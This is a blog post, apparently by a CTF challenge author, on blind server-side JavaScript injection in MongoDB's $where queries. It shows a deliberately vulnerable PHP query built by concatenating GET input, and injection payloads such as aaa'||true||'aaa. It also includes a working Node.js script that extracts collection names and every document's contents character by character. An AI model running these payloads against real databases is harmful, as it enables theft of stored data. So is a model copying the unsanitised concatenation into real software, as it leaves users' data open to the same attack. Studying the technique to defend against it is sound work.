For the latest posts, I showed MongoDB unauthorized access vulnerability and simple MongoDB injection. Each of them can reflect the Mongo Security. And this time we will talk about mongo security in server side javascript injection(SSJS).
If you ever use php
with mongo
, you may find a example showed
in php-mongo manual, just like the code below:
<?php
$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');
$js = "function() {
return this.name == 'Joe' || this.age == 50;
}";
$cursor = $collection->find(array('$where' => $js));
foreach ($cursor as $doc) {
var_dump($doc);
}
?>
We can find that it allows us to search a collection using javascript code to reduce the resultset.
And the mongo will call find()
once you put a javascript function in a string to $where
, the query
result will return the document(s) if the function return true.
And our further progression is to make query dynamic to build a query system, maybe based on user input,
something like get
or post
request. Imagine there is a query system for us to search someone through
his name or nickname, we can construct the code like this:
$q = (isset($_GET['q']) ? $_GET['q'] : null);
if ($q) {
$js = 'function(){if(this.name =='.'\''.$q.'\''.'||this.nick=='.'\''.$q.'\''.')return true;}';
}
Blind nosql injection
Just like the example showed above, we make our query dynamic, put our search in a get request and wrap
the request with a single quotes. The thing goes well, just like a tradition sql query. However, not like
the traditional sql injection 'or 1=1
, the syntax and query in mongo is quite different. Hence, what
we to do is to make the query in mongo return true, that means, create a true statement in query.
As the query function is about javascript, it's easy to make a true statement to let the function return true.
We can guess the sql statement and input some datas like aaa||true
or aaa'||true||'aaa
to blind inject.
Actually, the later works in our query system. And it will return every single document in our collection,
just like the query db.collection.find()
, because all of documents meet the query condition
this.name='aaa'||true||'aaa'||this.nick=='aaa'||true||'aaa'
.
See the true
keyword? Yes, we can make more requests like this to get more information through the global
variable db
, such as db.getCollectionNames()
bala bala. Yes, we can use such blind nosql injection to
extract the entire contents of the mongo database.
The first attack is to ask how many collections are in the database. Like db.getCollectionNames().length == 1
and others. When we establish how many collections exist, our next step is to get each of collection information.
db.getCollectionNames()[0].length == 1;
db.getCollectionNames()[0].length == 2;
// ...
db.getCollectionNames()[0][0] == 'a';
db.getCollectionNames()[0][0] == 'b';
// ...
And extract all of the documents data in the collection.
// get all of the documents length
function getDocumentsLength(db, i) {
var todo = 'tojson(db.' + db + '.find().toArray()).replace(/[ %5Ct%5Cr%5Cn]/gm, \'\').length == ' + i;
var vul = '"%27||' + todo + '||%27';
request.get(url + vul, function (err, res, body) {
if (/<p>/.test(body)) {
console.log(db + ' length: ' + i)
getDoucments(db, i, 0, 0)
} else {
getDocumentsLength(db, ++i)
}
})
}
// extract the documents one by one
function getDoucments(db, length, i, num) {
var todo = 'tojson(db.' + db + '.find().toArray()).replace(/[ %5Ct%5Cr%5Cn]/gm, \'\')[' + i + '].charCodeAt()==' + num;
var vul = '"%27||' + todo + '||%27';
request.get(url + vul, function (err, res, body) {
if (/<p>/.test(body)) {
if (i < length - 1) {
var ret = String.fromCharCode(num);
sys.print(ret);
doc.push(ret);
getDoucments(db, length, ++i, 0);
} else {
var ret = String.fromCharCode(num);
sys.print(ret)
doc.push(ret);
console.log();
getCollectionNameLength(++z, 0); // get other collection...
}
} else {
getDoucments(db, length, i, ++num)
}
})
}
Actually, I put this vulnerable query system in hctf
, the complete source code and payload is available in
github.
Attention
This blind nosql injection is only available in versions of MongoDB prior to 2.4, because the global variable
db
was removed in 2.4.
End
If you have something to correct, welcome to point it out:D